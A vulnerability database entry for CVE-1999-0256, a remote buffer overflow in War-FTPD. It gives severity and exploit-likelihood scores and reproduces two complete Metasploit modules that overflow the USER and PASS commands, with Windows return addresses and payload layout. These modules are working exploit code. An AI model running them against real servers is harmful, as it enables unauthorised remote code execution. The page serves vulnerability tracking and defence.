CVE-1999-0256 : Detail

CVE-1999-0256

80.65%V4
Network
1999-09-29
02h00 +00:00
2024-08-01
16h34 +00:00
CVE.org
NVD
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CVE Descriptions

Buffer overflow in War FTP allows remote execution of commands.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 16724

Publication date : 2010-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: warftpd_165_user.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'War-FTPD 1.65 Username Overflow', 'Description' => %q{ This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. }, 'Author' => 'Fairuzan Roslan <riaf [at] mysec.org>', 'License' => BSD_LICENSE, 'Version' => '$Revision: 9669 $', 'References' => [ [ 'CVE', '1999-0256'], [ 'OSVDB', '875' ], [ 'BID', '10078' ], [ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 424, 'BadChars' => "\x00\x0a\x0d\x40", 'StackAdjustment' => -3500, 'Compat' => { 'ConnectionType' => "-find" } }, 'Platform' => 'win', 'Targets' => [ # Target 0 [ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x750231e2 # ws2help.dll }, ], # Target 1 [ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1d54 # push esp, ret } ], # Target 2 [ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 # push esp, ret } ], # Target 3 [ 'Windows XP SP3 English', { 'Ret' => 0x71ab2b53 # push esp, ret } ] ], 'DisclosureDate' => 'Mar 19 1998')) end def exploit connect print_status("Trying target #{target.name}...") buf = make_nops(600) + payload.encoded buf[485, 4] = [ target.ret ].pack('V') send_cmd( ['USER', buf] , false ) handler disconnect end end
Exploit Database EDB-ID : 16706

Publication date : 2010-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: warftpd_165_pass.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'War-FTPD 1.65 Password Overflow', 'Description' => %q{ This exploits the buffer overflow found in the PASS command in War-FTPD 1.65. This particular module will only work reliably against Windows 2000 targets. The server must be configured to allow anonymous logins for this exploit to succeed. A failed attempt will bring down the service completely. }, 'Author' => 'hdm', 'License' => BSD_LICENSE, 'Version' => '$Revision: 9669 $', 'References' => [ [ 'CVE', '1999-0256'], [ 'OSVDB', '875' ], [ 'BID', '10078' ], [ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 424, 'BadChars' => "\x00\x0a\x0d\x40", 'StackAdjustment' => -3500, 'Compat' => { 'ConnectionType' => "-find" } }, 'Targets' => [ # Target 0 [ 'Windows 2000', { 'Platform' => 'win', 'Ret' => 0x5f4e772b # jmp ebx in the included MFC42.DLL }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 19 1998')) end def exploit connect print_status("Trying target #{target.name}...") buf = make_nops(566) + payload.encoded buf[558, 2] = "\xeb\x06" buf[562, 4] = [ target.ret ].pack('V') # Send USER Command send_user(datastore['FTPUSER']) # Send PASS Command send_cmd(['PASS', buf], false) handler disconnect end end

Products Mentioned

Configuraton 0

Jgaa>>Warftpd >> Version To (including) 1.66

Configuraton 0

Microsoft>>Windows_95 >> Version *

Microsoft>>Windows_nt >> Version *

References

http://www.osvdb.org/875
Tags : vdb-entry, x_refsource_OSVDB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.